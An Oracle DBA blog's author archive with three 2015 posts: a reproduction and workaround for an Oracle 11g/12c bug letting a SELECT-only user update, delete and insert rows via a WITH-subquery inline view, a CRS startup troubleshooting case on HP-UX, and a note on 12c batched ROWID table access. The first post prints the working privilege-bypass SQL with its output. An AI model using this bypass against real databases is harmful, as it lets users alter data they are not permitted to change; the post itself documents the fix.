作者归档：惜分飞

通过with实现对表非法dml操作—解决方案_with_subquery=materialize或者psu(2014.07以后)

发表于 2015 年 5 月 25 日由惜分飞

最近网上流传的通过with绕过权限实现非法更新表数据,存在较大风险.对于cpu bug在2014年07月份psu中修复,建议升级对应psu,如果条件不允许,可以通过_with_subquery参数临时规避该风险
数据库版本信息

SQL> select * from v$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
PL/SQL Release 11.2.0.4.0 - Production
CORE    11.2.0.4.0      Production
TNS for Linux: Version 11.2.0.4.0 - Production
NLSRTL Version 11.2.0.4.0 - Production

[oracle@localhost ~]$ opatch lsinventory
Oracle Interim Patch Installer version 11.2.0.3.4
Copyright (c) 2012, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
   from           : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version    : 11.2.0.3.4
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37PM_1.log

Lsinventory Output file location : /u01/app/oracle/product/11.2.0/db_1/
cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37PM.txt

--------------------------------------------------------------------------------
Installed Top-level Products (1): 

Oracle Database 11g                                                  11.2.0.4.0
There are 1 products installed in this Oracle Home.


There are no Interim patches installed in this Oracle Home.


--------------------------------------------------------------------------------

OPatch succeeded.

该数据库版本为11.2.0.4,未安装任何psu补丁

根据恩墨的测试重新bug信息
可以参考原link:Oracle数据库高危漏洞警告！

SQL> conn chf/xifenfei
Connected.
SQL> create table t_dml as select * from dba_users;

Table created.

SQL> create user xifenfei_dml identified by "www.xifenfei.com";

User created.

SQL> grant create session to xifenfei_dml;

Grant succeeded.

SQL> grant select on chf.t_dml to xifenfei_dml;

Grant succeeded.

SQL> 

SQL> grant select on chf.t_dml to xifenfei_dml;

Grant succeeded.

SQL> conn xifenfei_dml/"www.xifenfei.com"
Connected.

SQL>  select count(*) from chf.t_dml;

  COUNT(*)
----------
        32

SQL>  select username,user_id from chf.t_dml where rownum <= 2;

USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
SYSTEM                                  5

SQL> update chf.t_dml set username='www.xifenfei.com' where user_id = 5;
update chf.t_dml set username='www.xifenfei.com' where user_id = 5
           *
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;

1 row updated.

SQL> commit;

Commit complete.

SQL> select username,user_id from chf.t_dml where rownum <= 2;

USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
www.xifenfei.com                        5

SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;

1 row deleted.

SQL> commit;

Commit complete.

SQL> select username,user_id from chf.t_dml where user_id=5;

no rows selected

SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;

9 rows created.

SQL> commit;

Commit complete.

SQL> select count(*) from chf.t_dml;

  COUNT(*)
----------
        40

这里确实证明了,在没有dml情况下,可以通过with方式实现dml操作,从而实现无更改记录用户实现dml操作,数据库存在安全隐患,通过查询mos等相关信息,确定该bug影响数据库11.2.0.3，11.2.0.4,12.1.0.1等常见版本

对于不能及时升级的用户使用_with_subquery参数临时规避该bug
这个隐含参数的含义是在用with子句查询的时候，将查询结果物化成temp表，（其实这也是我们常用with子句的目的，物化、缓存结果集）

SQL> conn / as sysdba
Connected.
SQL> col name for a52
col value for a24
SQL> SQL> col description for a50
set linesize 150
SQL> SQL> select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
  2    from x$ksppi a,x$ksppcv b
 where a.inst_id = USERENV ('Instance')
  3    4     and b.inst_id = USERENV ('Instance')
  5     and a.indx = b.indx
  6     and upper(a.ksppinm) LIKE upper('%&param%')
  7  order by name
/  8  
Enter value for param: _WITH_SUBQUERY
old   6:    and upper(a.ksppinm) LIKE upper('%&param%')
new   6:    and upper(a.ksppinm) LIKE upper('%_WITH_SUBQUERY%')

NAME                                                 VALUE                    DESCRIPTION
---------------------------------------------------- ------------------------ ------------------------------
_with_subquery                                       OPTIMIZER                WITH subquery transformation



SQL> alter system  set "_with_subquery"=materialize; 

System altered.
                             

SQL> alter system  set "_with_subquery"=materialize; 

System altered.

SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;
insert into  (with tmp as (select * from chf.t_dml)
             *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view


SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;
delete (with tmp as (select user_id,username from chf.t_dml)
       *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view


SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
update(with tmp as (select user_id,username from chf.t_dml)
      *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view

该漏洞在2014年7月的CPU中被修正,以下psu中包含了该cpu补丁,如果条件允许,建议尽快升级如下版本

Version 12.1.0.1.4 or later
Version 11.2.0.4.3 or later
Version 11.2.0.3.11 or later
Version 11.1.0.7.20 or later

发表在 Oracle, Oracle Bug | 标签为 _with_subquery | 评论关闭

init.cssd startcheck—HP Service Guard未启动导致CRS无法正常启动

发表于 2015 年 5 月 25 日由惜分飞

早上到客户现场,客户告知有一套环境替换OCR和VOTEDISK之后,crs无法启动,让我看看。环境:HP RAC(只用一个节点)+10.2.0.5 Oracle 数据库
start crs显示正常,但是无法启动

# /app/oracle/product/10.2.0/crs/bin/crsctl start crs
Attempting to start CRS stack 
The CRS stack will be started shortly

# ps -ef|grep crs
    root  6461     1  0  May 19  ?         0:00 /bin/sh /sbin/init.d/init.crsd run
    root 29719 23678  0 10:04:51 pts/tc    0:00 grep crs

也无任何日志

[xifenfei01][orawj][/root/xifenfei]#ls -ltr
total 148
drwxr-x---   2 oracle     dba             96 May 15  2014 admin
drwxr-x---   2 root       dba             96 May 15  2014 crsd
drwxr-x---   2 oracle     dba             96 May 15  2014 evmd
drwxrwxr-t   5 oracle     dba           1024 Jun  4  2014 racg
drwxr-x---   5 oracle     dba           1024 May 17 22:50 cssd
-rw-rw-r--   1 root       dba          61568 May 24 15:26 alertxifenfei01.log
drwxr-x---   2 oracle     dba           3072 May 24 15:43 client
[xifenfei01][orawj][/root/xifenfei]#date
Mon, May 25, 2015 11:30:09 AM

表决磁盘和OCR信息

[xifenfei01][orawj][/root/xifenfei]#ocrcheck
Status of Oracle Cluster Registry is as follows :
         Version                  :          2
         Total space (kbytes)     :    1441492
         Used space (kbytes)      :       5972
         Available space (kbytes) :    1435520
         ID                       : 1714667730
         Device/File Name         : /dev/vgc01/rCMPR_VGC01_OCR1
                                    Device/File integrity check succeeded
         Device/File Name         : /dev/vgc02/rCMPR_VGC02_OCR2
                                    Device/File integrity check succeeded

         Cluster registry integrity check succeeded

[xifenfei01][orawj][/root/xifenfei]#crsctl query css votedisk
 0.     0    /dev/vgc01/rCMPR_VGC01_VOTE1
 1.     0    /dev/vgc02/rCMPR_VGC02_VOTE2
 2.     0    /dev/vgc03/rCMPR_VGC03_VOTE3

located 3 votedisk(s).

ocr.loc文件路径

# more /var/opt/oracle/ocr.loc
#Device/file /dev/vgc02/rCMPR_VGC02_OCR2 getting replaced by device /dev/vgc02/rCMPR_VGC02_OCR2 
ocrconfig_loc=/dev/vgc01/rCMPR_VGC01_OCR1
ocrmirrorconfig_loc=/dev/vgc02/rCMPR_VGC02_OCR2
local_only=false

这里可以看出来表决磁盘和ocr等相关信息正常

显示init.cssd startcheck进程

[xifenfei01][orawj][/root/xifenfei]#ps -ef|grep init
    root     1     0  0  May 19  ?         0:03 init
    root   119     0  0  May 19  ?         0:00 pagetable_init_daemon
    root   115     0  0  May 19  ?         0:00 mdep_initiator_thread
    root 26820 26792  0 10:49:53 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 26791     1  0 10:49:53 ?         0:00 /bin/sh /sbin/init.d/init.crsd run
    root 27183 23698  0 10:50:23 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 26792     1  0 10:49:53 ?         0:00 /bin/sh /sbin/init.d/init.cssd fatal
    root 23698     1  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.evmd run
    root 26816 26791  0 10:49:53 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
  oracle 20534 11033  0 11:30:35 pts/ta    0:00 grep init

这里的init.cssd startcheck大部分情况下，是由于不能访问存储或者第三方集群件无法访问导致

查看vg状态

VG Name                     /dev/vgc01
VG Write Access             read/write     
VG Status                   available                 
Max LV                      255    
Cur LV                      9      
Open LV                     9      
Max PV                      255    
Cur PV                      1      
Act PV                      1      
Max PE per PV               3200         
VGDA                        2   
PE Size (Mbytes)            32              
Total PE                    3199    
Alloc PE                    736     
Free PE                     2463    
Total PVG                   0        
Total Spare PVs             0              
Total Spare PVs in use      0                     
VG Version                  1.0       
VG Max Size                 25500g     
VG Max Extents              816000        

VG Name                     /dev/vgc02
VG Write Access             read/write     
VG Status                   available                 
Max LV                      255    
Cur LV                      9      
Open LV                     9      
Max PV                      255    
Cur PV                      1      
Act PV                      1      
Max PE per PV               3200         
VGDA                        2   
PE Size (Mbytes)            32              
Total PE                    3199    
Alloc PE                    736     
Free PE                     2463    
Total PVG                   0        
Total Spare PVs             0              
Total Spare PVs in use      0                     
VG Version                  1.0       
VG Max Size                 25500g     
VG Max Extents              816000        

VG Name                     /dev/vgc03
VG Write Access             read/write     
VG Status                   available                 
Max LV                      255    
Cur LV                      6      
Open LV                     6      
Max PV                      255    
Cur PV                      1      
Act PV                      1      
Max PE per PV               3200         
VGDA                        2   
PE Size (Mbytes)            32              
Total PE                    3199    
Alloc PE                    448     
Free PE                     2751    
Total PVG                   0        
Total Spare PVs             0              
Total Spare PVs in use      0                     
VG Version                  1.0       
VG Max Size                 25500g     
VG Max Extents              816000

这里可以看到，三个存放表决磁盘和ocr的vg都是available的

看votedisk和ocr权限

# ls -l /dev/vgc0*/rCMPR*|grep -v .dbf|grep -v .log|grep -v .ctl
crw-r-----   1 oracle     dba         64 0x020008 May 24 14:40 /dev/vgc01/rCMPR_VGC01_OCR1
crw-r-----   1 oracle     dba         64 0x020009 May 24 14:41 /dev/vgc01/rCMPR_VGC01_VOTE1
crw-r-----   1 oracle     dba         64 0x030008 May 24 14:41 /dev/vgc02/rCMPR_VGC02_OCR2
crw-r-----   1 oracle     dba         64 0x030009 May 24 14:41 /dev/vgc02/rCMPR_VGC02_VOTE2
crw-r-----   1 oracle     dba         64 0x040006 May 24 14:41 /dev/vgc03/rCMPR_VGC03_VOTE3

直接修改权限为777,然后尝试

# chmod 777 /dev/vgc0*/rCMPR*|grep -v .dbf|grep -v .log|grep -v .ctl
#  ls -l /dev/vgc0*/rCMPR*|grep -v .dbf|grep -v .log|grep -v .ctl
crwxrwxrwx   1 oracle     dba         64 0x020008 May 24 14:40 /dev/vgc01/rCMPR_VGC01_OCR1
crwxrwxrwx   1 oracle     dba         64 0x020009 May 24 14:41 /dev/vgc01/rCMPR_VGC01_VOTE1
crwxrwxrwx   1 oracle     dba         64 0x030008 May 24 14:41 /dev/vgc02/rCMPR_VGC02_OCR2
crwxrwxrwx   1 oracle     dba         64 0x030009 May 24 14:41 /dev/vgc02/rCMPR_VGC02_VOTE2
crwxrwxrwx   1 oracle     dba         64 0x040006 May 24 14:41 /dev/vgc03/rCMPR_VGC03_VOTE3

kill相关进程重试

# ps -ef|grep init
    root     1     0  0  May 19  ?         0:03 init
    root   119     0  0  May 19  ?         0:00 pagetable_init_daemon
    root   115     0  0  May 19  ?         0:00 mdep_initiator_thread
    root  6458     1  0  May 19  ?         0:00 /bin/sh /sbin/init.d/init.evmd run
    root 20975     1  0 10:40:11 ?         0:00 /bin/sh /sbin/init.d/init.crsd run
    root 20976     1  0 10:40:11 ?         0:00 /bin/sh /sbin/init.d/init.cssd fatal
    root 21006 20976  0 10:40:11 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 20997 20975  0 10:40:11 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 21152 23678  0 10:40:18 pts/tc    0:00 grep init

vi /etc/inittab
#h1:3:respawn:/sbin/init.d/init.evmd run >/dev/null 2>&1 </dev/null
#h2:3:respawn:/sbin/init.d/init.cssd fatal >/dev/null 2>&1 </dev/null
#h3:3:respawn:/sbin/init.d/init.crsd run >/dev/null 2>&1 </dev/null

# /sbin/init q
# ps -ef|grep init.c | grep -v grep | awk '{print $2}' |xargs kill -9 
# ps -ef|grep init
    root     1     0  0  May 19  ?         0:03 init
    root   119     0  0  May 19  ?         0:00 pagetable_init_daemon
    root   115     0  0  May 19  ?         0:00 mdep_initiator_thread
    root 21744 23678  1 10:42:31 pts/tc    0:00 grep init

重新启动init进程

vi /etc/inittab
h1:3:respawn:/sbin/init.d/init.evmd run >/dev/null 2>&1 </dev/null 
h2:3:respawn:/sbin/init.d/init.cssd fatal >/dev/null 2>&1 </dev/null 
h3:3:respawn:/sbin/init.d/init.crsd run >/dev/null 2>&1 </dev/null 
~
# /sbin/init q
# ps -ef|grep init
    root     1     0  0  May 19  ?         0:03 init
    root   119     0  0  May 19  ?         0:00 pagetable_init_daemon
    root   115     0  0  May 19  ?         0:00 mdep_initiator_thread
    root 23737 23706  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 23731 23698  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 23706     1  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.crsd run
    root 23698     1  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.evmd run
    root 23887 23678  1 10:45:28 pts/tc    0:00 grep init
    root 23746 23700  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.cssd startcheck
    root 23700     1  0 10:45:23 ?         0:00 /bin/sh /sbin/init.d/init.cssd fatal

证明修改lv权限,问题依旧,不是votedisk和ocr的权限和所有者导致,通过dd和strings读相关文件，发现都OK.

调试/sbin/init.d/init.cssd startcheck进程

[xifenfei01][orawj][/root/xifenfei]#sh -x  /sbin/init.d/init.cssd startcheck
+ ORA_CRS_HOME=/app/oracle/product/10.2.0/crs
+ ORACLE_USER=oracle
+ ORACLE_HOME=/app/oracle/product/10.2.0/crs
+ export ORACLE_HOME
+ export ORA_CRS_HOME
+ export ORACLE_USER
+ DISABLE_OPROCD=false
+ OPROCD_DEFAULT_TIMEOUT=1000
+ OPROCD_DEFAULT_MARGIN=500
+ OPROCD_CHECK_TIMEOUT=2000
+ OPROCD_STOP_TIMEOUT=2000
+ OPROCD_DEFAULT_HISTORGRAM=
+ HOSTN=/bin/hostname
+ EXPRN=/usr/bin/expr
+ CUT=/usr/bin/cut
+ AWK=/bin/awk
+ ECHO=echo
+ TR=/bin/tr
+ /bin/uname
+ [ SunOS = HP-UX ]
+ /bin/uname
+ [ Linux = HP-UX ]
+ + /bin/hostname
HOST=xifenfei01
+ + /usr/bin/expr xifenfei01 : .*
len1=8
+ + /usr/bin/expr match xifenfei01 [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*
len2=0
+ [ 8 != 0 ]
+ + echo xifenfei01
+ /usr/bin/cut -d. -f1
HOST=xifenfei01
+ + echo xifenfei01
+ /bin/tr [:upper:] [:lower:]
HOST=xifenfei01
+ PS=/bin/ps
+ PSE=/bin/ps -e
+ PSEF=/bin/ps -ef
+ HEAD=/bin/head
+ GREP=/bin/grep
+ KILL=/bin/kill
+ KILLTERM=/bin/kill -TERM
+ KILLDIE=/bin/kill -9
+ KILLCHECK=/bin/kill -0 5852
+ SLEEP=/bin/sleep
+ NULL=/dev/null
+ UNAME=/bin/uname
+ CAT=/bin/cat
………………
+ eval /bin/true
+ /bin/true
+ [ 0 != 0 ]
+ eval /bin/ps -ef | /bin/grep '/usr/lbin/cm[g]msd' 1>/dev/null 2>/dev/null
+ /bin/grep /usr/lbin/cm[g]msd
+ /bin/ps -ef
+ 1> /dev/null 2> /dev/null
+ RC=1
+ [ 1 -ne 0 ]
+ /bin/logger -puser.err Oracle Cluster Ready Services waiting for HP-UX Service Guard to start.
+ /bin/sleep 60

这里可以通过-x调试shell脚本，发现crs在等待HP-UX Service Guard启动,从而可以确定是由于HP-UX Service Guard未启动

检查HP-UX Service Guard是否启动

[xifenfei01][orawj][/root/xifenfei]#cmviewcl 

CLUSTER           STATUS       
crmdb_b_cluster   down         
  
  NODE           STATUS       STATE        
  xifenfei01       down         unknown      
  crmdbb02       down         unknown      
    
UNOWNED_PACKAGES

    PACKAGE        STATUS           STATE            AUTO_RUN    NODE        
    pkg1           down             halted           enabled     unowned     
    pkg2           down             halted           enabled     unowned

通过这里,结合客户描述(只启动了一个节点，另外一个节点的vg未激活)，可以判断出来由于只使用一个节点,在未启动Service Guard的情况下,直接激活vg,由于Service Guard未启动导致crs无法启动

发表在 Oracle RAC | 标签为 rac无法启动, Service Guard | 评论关闭

Oracle 12C TABLE ACCESS BY INDEX ROWID BATCHED

发表于 2015 年 5 月 18 日由惜分飞

从Oracle 12C开始执行计划中可能会出现TABLE ACCESS BY INDEX ROWID BATCHED,官方的解释：TABLE ACCESS BY INDEX ROWID BATCHED：means that the database retrieves a few rowids from the index, and then attempts to access rows in block order to improve the clustering and reduce the number of times that the database must access a block.主要意思:对于一个块中多个rowid,通过批量减少访问快的次数.而作为12.1的新特性,数据库是通过_optimizer_batch_table_access_by_rowid来控制的

数据库版本12.1

SQL> select * from v$version;

BANNER                                                                               CON_ID
-------------------------------------------------------------------------------- ----------
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production              0
PL/SQL Release 12.1.0.2.0 - Production                                                    0
CORE    12.1.0.2.0      Production                                                        0
TNS for IBM/AIX RISC System/6000: Version 12.1.0.2.0 - Production                         0
NLSRTL Version 12.1.0.2.0 - Production                                                    0

TABLE ACCESS BY INDEX ROWID BATCHED执行计划

SQL> set autot traceonly exp stat;
SQL> var  b1 number;
SQL> set lines 150
SQL> set pages 10000
SQL> exec :b1:=18868701138;

PL/SQL procedure successfully completed.

SQL> SELECT BRAND_ID FROM T_USERTYPE_FULLNO WHERE BILL_ID= LTRIM(:B1 ,'0') AND ROWNUM < 2;


Execution Plan
----------------------------------------------------------
Plan hash value: 942613467

-----------------------------------------------------------------------------------------------------------
| Id  | Operation                            | Name               | Rows  | Bytes | Cost (%CPU)| Time     |
-----------------------------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT                     |                    |     1 |    15 |     2   (0)| 00:00:01 |
|*  1 |  COUNT STOPKEY                       |                    |       |       |            |          |
|   2 |   TABLE ACCESS BY INDEX ROWID BATCHED| XIFENFEI           |     1 |    15 |     2   (0)| 00:00:01 |
|*  3 |    INDEX RANGE SCAN                  | IND_XIFENFEI       |     1 |       |     2   (0)| 00:00:01 |
-----------------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - filter(ROWNUM<2)
   3 - access("BILL_ID"=LTRIM(:B1,'0'))


Statistics
----------------------------------------------------------
          0  recursive calls
          0  db block gets
          5  consistent gets
          0  physical reads
          0  redo size
        559  bytes sent via SQL*Net to client
        552  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed

_optimizer_batch_table_access_by_rowid参数为true

SQL> col name for a32
SQL> col value for a24
col description for a70
set linesize 150
select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
SQL> SQL> SQL>   2    from x$ksppi a,x$ksppcv b
  3   where a.inst_id = USERENV ('Instance')
  4     and b.inst_id = USERENV ('Instance')
  5     and a.indx = b.indx
  6     and upper(a.ksppinm) LIKE upper('%&param%')
  7  order by name
  8  /
Enter value for param: _optimizer_batch_table_access_by_rowid
old   6:    and upper(a.ksppinm) LIKE upper('%&param%')
new   6:    and upper(a.ksppinm) LIKE upper('%_optimizer_batch_table_access_by_rowid%')

NAME                                 VALUE                    DESCRIPTION
------------------------------------- ------------------------ ----------------------------------------------
_optimizer_batch_table_access_by_rowid TRUE                     enable table access by ROWID IO batching

设置_optimizer_batch_table_access_by_rowid为false,执行计划由TABLE ACCESS BY INDEX ROWID BATCHED变为TABLE ACCESS BY INDEX ROWID

SQL> set autot traceonly exp stat;
SQL> var  b1 number;
SQL> set lines 150
SQL> set pages 10000
SQL> exec :b1:=18868701138;

PL/SQL procedure successfully completed.

SQL> alter session set "_optimizer_batch_table_access_by_rowid"=false;

Session altered.

SQL> SELECT BRAND_ID FROM XIFENFEI WHERE BILL_ID= LTRIM(:B1 ,'0') AND ROWNUM < 2;


Execution Plan
----------------------------------------------------------
Plan hash value: 2797551150

---------------------------------------------------------------------------------------------------
| Id  | Operation                    | Name               | Rows  | Bytes | Cost (%CPU)| Time     |
---------------------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |                    |     1 |    15 |     2   (0)| 00:00:01 |
|*  1 |  COUNT STOPKEY               |                    |       |       |            |          |
|   2 |   TABLE ACCESS BY INDEX ROWID| XIFENFEI           |     1 |    15 |     2   (0)| 00:00:01 |
|*  3 |    INDEX RANGE SCAN          | IND_XIFENFEI       |     1 |       |     2   (0)| 00:00:01 |
---------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - filter(ROWNUM<2)
   3 - access("BILL_ID"=LTRIM(:B1,'0'))


Statistics
----------------------------------------------------------
          1  recursive calls
          0  db block gets
          5  consistent gets
          0  physical reads
          0  redo size
        559  bytes sent via SQL*Net to client
        552  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed

optimizer_features_enable修改为11.2之后,_optimizer_batch_table_access_by_rowid会联锁变为fasle

SQL> alter session set optimizer_features_enable = '11.2.0.3';

Session altered.

SQL> col name for a52
col value for a24
col description for a50
set linesize 150
select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
  from x$ksppi a,x$ksppcv b
 where a.inst_idSQL> SQL> SQL> SQL>   2    3   = USERENV ('Instance')
   and b.inst_id = USERENV ('Instance')
   and a.indx = b.indx
   and upper(a.ksppinm) LIKE upper('%&param%')
order by name
  4    5    6    7    8  /
Enter value for param: _optimizer_batch_table_access_by
old   6:    and upper(a.ksppinm) LIKE upper('%&param%')
new   6:    and upper(a.ksppinm) LIKE upper('%_optimizer_batch_table_access_by%')

NAME                                       VALUE          DESCRIPTION
------------------------------------------ -------------- -----------------------------------------
_optimizer_batch_table_access_by_rowid     FALSE          enable table access by ROWID IO batching

这里可以看出来,在调整optimizer_features_enable参数后,会直接影响某些数据库相关的优化器参数,例如:_optimizer_batch_table_access_by_rowid

发表在 ORACLE 12C, Oracle性能优化 | 标签为 ORACLE 12C, TABLE ACCESS BY INDEX ROWID BATCHED, _optimizer_batch_table_access_by_rowid | 评论关闭

17813235971

QQ 咨询

作者归档：惜分飞

通过with实现对表非法dml操作—解决方案_with_subquery=materialize或者psu(2014.07以后)

init.cssd startcheck—HP Service Guard未启动导致CRS无法正常启动

Oracle 12C TABLE ACCESS BY INDEX ROWID BATCHED

文章分类

最近发表

作者归档：惜分飞

通过with实现对表非法dml操作—解决方案_with_subquery=materialize或者psu(2014.07以后)

init.cssd startcheck—HP Service Guard未启动导致CRS无法正常启动

Oracle 12C TABLE ACCESS BY INDEX ROWID BATCHED

标签云

文章分类

最近发表